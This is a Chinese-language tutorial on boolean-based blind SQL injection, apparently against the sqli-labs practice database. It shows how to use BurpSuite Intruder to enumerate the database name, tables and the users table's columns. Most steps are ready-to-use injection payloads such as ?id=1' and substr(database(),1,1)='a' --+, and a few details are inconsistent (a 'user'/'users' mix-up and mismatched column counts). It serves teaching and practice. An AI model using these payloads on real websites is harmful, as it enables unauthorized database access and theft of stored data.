- BurpSuite 自动化盲注
- 判断注入类型:
- 获取数据库:
- 获取数据库表:
- 判断数据库表的数量,使用语句
?id=1' and (select count(*) from information_schema.tables where table_schema="security") = 1 --+得知数据库表有4个,这里将 1 设为变量 - 然后判断数据库表的长度,使用语句
?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=1--+获知分别为6、8、7、5,这里将0,1设为变量即可 - 接着获取数据库表名,要获取数据库表名的字符,使用语句
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a' --+获知四个表分别为email 、referers、uagents、users,这里将0,1,a设为变量,因为已经知道有四个表和最大长度为8,如下图
- 判断数据库表的数量,使用语句
- 获取字段数:
- 因为users是最终需要的,所以只使用users表,使用语句
?id=1' and (select count(*) from information_schema.columns where table_name="users")=1 --+获知字段数为 6,这里只将1设为变量即可 - 接下来获取字段名字的长度,使用语句
?id=1' and length((select column_name from information_schema.columns where table_name="user" limit 0,1))=1 --+获知4,4,11,11,11,这里将0,1设为变量即可 - 最后获取字段名,使用语句
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name="users" limit 0,1), 1,1))=1 --+获知字段名为 user CURRENT_CONNECTIONS TOTAL_CONNECTIONS id username password,这里将0,1,1设为变量即可
- 因为users是最终需要的,所以只使用users表,使用语句
BurpSuite 自动化盲注
判断注入类型:
利用 ?id=1' and 1=1 --+ 页面回显正常

利用 ?id=1' and 1=2 --+ 页面回显异常,所以该题为单引号注入

获取数据库:
先判断数据库名的长度是多少,使用语句 ?id=1' and length(database())=1 --+,用BrupSuite截取进行爆破获知长度是 8 ,这里只需将 1 设为变量即可



使用语句 ?id=1' and substr(database(),1,1)='a' --+ 判断数据库名的字符,这里将 1 和 a 设为变量,第一位变量设到8即可,因为已经得知长度为8,最后得到数据库为 ‘security’



获取数据库表:
判断数据库表的数量,使用语句 ?id=1' and (select count(*) from information_schema.tables where table_schema="security") = 1 --+ 得知数据库表有4个,这里将 1 设为变量



然后判断数据库表的长度,使用语句 ?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=1--+ 获知分别为6、8、7、5,这里将0,1设为变量即可




接着获取数据库表名,要获取数据库表名的字符,使用语句 ?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a' --+ 获知四个表分别为email 、referers、uagents、users,这里将0,1,a设为变量,因为已经知道有四个表和最大长度为8,如下图





获取字段数:
因为users是最终需要的,所以只使用users表,使用语句 ?id=1' and (select count(*) from information_schema.columns where table_name="users")=1 --+ 获知字段数为 6,这里只将1设为变量即可



接下来获取字段名字的长度,使用语句 ?id=1' and length((select column_name from information_schema.columns where table_name="user" limit 0,1))=1 --+ 获知4,4,11,11,11,这里将0,1设为变量即可




最后获取字段名,使用语句 ?id=1' and ascii(substr((select column_name from information_schema.columns where table_name="users" limit 0,1), 1,1))=1 --+ 获知字段名为 user CURRENT_CONNECTIONS TOTAL_CONNECTIONS id username password,这里将0,1,1设为变量即可





